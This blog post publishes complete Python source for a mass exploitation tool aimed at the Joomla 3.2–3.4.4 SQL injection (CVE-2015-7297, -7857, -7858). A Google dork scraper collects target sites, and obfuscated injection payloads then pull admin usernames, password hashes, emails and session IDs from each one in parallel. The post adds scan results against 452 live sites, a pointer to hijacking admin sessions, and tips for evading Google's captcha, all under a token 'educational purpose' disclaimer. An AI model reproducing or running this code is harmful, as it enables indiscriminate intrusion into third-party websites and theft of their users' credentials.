Introduction
You guys know how I love to automate stuff. So earlier today I decided to automate the SQL injection vulnerability in open source CMS joomla (3.2 to 3.4.4) found by Trust Wave Labs here. CVE-2015-7297, CVE-2015-7857, and CVE-2015-7858 cover this SQL Injection vulnerability.
I have used Google Scraper and Mass Exploiter from one of my previous posts which works as a dork scanner and performs mass exploitation on hundreds of URLs in a matter of seconds.
Here’s a preview of this mass exploit.
Requirements
- Python version 3.4.x
- A third party package – Requests
There are two modules in this exploit. First module (makman.py) is a dork scanner which scans all the URLs for the given google dork. As per my latest results, it scraped 417 joomla websites from google search in about 6 seconds.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 |
# #By MakMan - 25-10-2015 import requests, re, sys from functools import partial from multiprocessing import Pool def get_urls(search_string, start): temp = [] url = 'https://www.google.com.pk/search' payload = { 'q' : search_string, 'start' : start , 'num' : '100' } # Set Cookies in my_headers from your browser, in case it doesn't get any results. my_headers = { 'User-Agent' : 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0', 'Cookie' : '' } r = requests.get( url, params = payload, headers = my_headers ) # print( r.text.encode('utf-8') ) temp.extend( re.findall( '<h3 class="r"><a href="(.+?)"', r.text ) ) # print(temp) return temp def dork_scanner(search, pages, processes): result = [] search = search pages = pages processes = int( processes ) make_request = partial( get_urls, search ) pagelist = [ str(x*100) for x in range( 0, int(pages) ) ] with Pool(processes) as p: tmp = p.map(make_request, pagelist) for x in tmp: result.extend(x) result = list( set( result ) ) return result #End |
The second module performs the injection on the URLs collected by the dork scanner in the first module. Make sure makman.py is in the same directory.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 |
# # Make sure makman.py is in the same directory # Vulnerability found by : trustwave.com # Exploit Author : //mukarramkhalid.com # https://www.facebook.com/makmaniac # https://twitter.com/themakmaniac from makman import * from urllib.parse import urlparse from time import time as timer def banner(): print( '\n\n' ) print( '++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++' ) print( ' [Mass Exploit] Joomla 3.2 - 3.44 SQL Injection ' ) print( ' Vulnerability found by : trustwave.com ' ) print( ' CVE-2015-7297, CVE-2015-7857, and CVE-2015-7858 ' ) print( ' MakMan -- //mukarramkhalid.com -- http://fb.com/makmaniac ' ) print( '++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++' ) print( '\n' ) def inject( u ): tblprefix = '' username = '' password = '' email = '' session_id = '' #Payload for version() and user() payload1 = { 'option' : 'com_contenthistory', 'view' : 'history', 'list[ordering]' : '' , 'item_id' : '', 'type_id' : '', 'list[select]' : 'polygon((/*!00000select*/*/*!00000from*/(/*!00000select*/*/*!00000from*/(/*!00000select*/concat_ws(0x7e3a,0x6d616b6d616e,version(),user())as mk)``)``))' } #Payload for table prefix payload2 = { 'option' : 'com_contenthistory', 'view' : 'history', 'list[ordering]' : '' , 'item_id' : '', 'type_id' : '', 'list[select]' : 'polygon((/*!00000select*/*/*!00000from*/(/*!00000select*/*/*!00000from*/(/*!00000select*/concat_ws(0x7e3a,0x6d616b6d616e,(/*!00000select*//*!00000table_name*//*!00000from*//*!00000information_schema*/.tables/*!00000where*/table_schema=database() and/*!00000table_name*/like 0x25636f6e74656e745f7479706573 limit 0,1))as mk)``)``))' } #Formating our URL properly o = urlparse(u) url = o.scheme + '://' + o.netloc + o.path try: r = requests.get( url, params = payload1, timeout= 15 ) if 'makman~:' in r.text: iresult = re.search( "makman~:(.+?)'", r.text ).group(1) r = requests.get( url, params = payload2, timeout= 15 ) if 'makman~:' in r.text: tresult = re.search( "makman~:(.+?)'", r.text ).group(1) tblprefix = tresult.replace('content_types', '') payload3 = { 'option' : 'com_contenthistory', 'view' : 'history', 'list[ordering]' : '' , 'item_id' : '', 'type_id' : '', 'list[select]' : 'polygon((/*!00000select*/*/*!00000from*/(/*!00000select*/*/*!00000from*/(/*!00000select*/concat_ws(0x7e3a,(/*!00000select*/concat_ws(0x7e3a,0x6d616b6d616e,username,password,email) /*!00000from*/' + tblprefix + 'users order by id ASC limit 0,1),(/*!00000select*/session_id /*!00000from*/' + tblprefix + 'session order by time DESC limit 0,1))as mk)``)``))' } r = requests.get( url, params = payload3, timeout= 15 ) if 'makman~:' in r.text: fresult = re.search( "makman~:(.+?)'", r.text ).group(1) username = fresult.split('~:')[0] password = fresult.split('~:')[1] email = fresult.split('~:')[2] session_id = fresult.split('~:')[3] print ( '------------------------------------------------\n' ) print ( '[+] Url : ' + url ) print ( '[+] User : ' + iresult.split('~:')[1] ) print ( '[+] Version : ' + iresult.split('~:')[0] ) print ( '[+] tbl_prefix : ' + tblprefix ) print ( '[+] Username : ' + username ) print ( '[+] Password : ' + password ) print ( '[+] Email : ' + email ) print ( '[+] Session Id : ' + session_id ) print ( '\n------------------------------------------------\n') sys.stdout.flush() return url + '~:' + iresult + '~:' + tblprefix + '~:' + username + '~:' + password + '~:' + email + '~:' + session_id else: return url + '~:' + 'Not Vulnerable' except: return url + '~:' + 'Bad Response' def main(): banner() start = timer() dork = 'inurl:index.php?option=com_*' file_string = '######## By MakMan ########\n' final_result = [] count = 0 print( '[+] Starting dork scanner for : ' + dork) sys.stdout.flush() #Calling dork_scanner from makman.py for 6 pages and 6 parallel processes search_result = dork_scanner( dork, '6', '6' ) print( '[+] Total URLs found : ' + str( len( search_result ) ) ) with open( 'urls.txt', 'a', encoding = 'utf-8' ) as ufile: ufile.write( '\n'.join( search_result ) ) print( '[+] URLs written to urls.txt' ) print( '\n[+] Trying Joomla SQL Injection exploit on ' + str( len( search_result ) ) + ' urls' ) sys.stdout.flush() #Running 8 parallel processes for the exploitation with Pool(8) as p: final_result.extend( p.map( inject, search_result ) ) for i in final_result: if not 'Not Vulnerable' in i and not 'Bad Response' in i: count += 1 file_string = file_string + i.split('~:')[0] + '\n' + i.split('~:')[1] + '\n' + i.split('~:')[2] + '\n' + i.split('~:')[3] + '\n' + i.split('~:')[4] + '\n' + i.split('~:')[5] + '\n' + i.split('~:')[6] + '\n\n\n' #Writing vulnerable URLs in a file makman.txt with open( 'makman.txt', 'a', encoding = 'utf-8' ) as rfile: rfile.write( file_string ) print( 'Total URLs Scanned : ' + str( len( search_result ) ) ) print( 'Vulnerable URLs Found : ' + str( count ) ) print( 'Script Execution Time : ' + str ( timer() - start ) + ' seconds' ) if __name__ == '__main__': main() #End |
Video Demo
You can watch the following video demo to see this exploit in action.
Here’s another quick demo to show you guys how to use session_id and get access to the admin panel without cracking the hashes.
Last Scan Results (28-10-2015)
1 2 3 4 5 6 7 8 9 10 11 12 |
[+] Starting dork scanner for : inurl:"/component/tags/" [+] Total URLs found : 452 [+] URLs written to urls.txt [+] Trying Joomla SQL Injection exploit on 452 urls ....REMOVED.... ....REMOVED.... ....REMOVED.... Total URLs Scanned : 452 Vulnerable URLs Found : 66 Script Execution Time : 291.078248500824 seconds |
Known Issues
- Sometimes the first module (Google dork scanner) doesn’t retrieve any URLs because Google serves the captcha form instead of the search results. If this is the case, go to you browser, do a manual search for your dork, fill in the correct captcha (if appears), retrieve the cookies for this search and add these cookies in makman.py line 14 in the dictionary variable my_headers for the key Cookie.
13 14 |
# Set Cookies in my_headers from your browser, in case it doesn't get any results. my_headers = { 'User-Agent' : 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0', 'Cookie' : 'COOKIES_HERE' } |
- You can always change the Google dork for this exploit by editing line 71 in joomla_sqli_mass_exploit.py.
68 69 70 71 |
def main(): banner() start = timer() dork = 'inurl:index.php?option=com_*' #Change this line |
GitHub Repository
Disclaimer
I hereby take no responsibility for the loss/damage caused by this tutorial. This article has been shared for educational purpose only.
If you have any further suggestions, feel free to contact me. Details are in the footer.